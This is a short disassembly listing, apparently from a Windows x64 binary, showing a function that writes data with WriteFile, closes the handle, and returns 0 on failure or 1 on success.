mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
jne 0x140003e0c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov al, 1
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret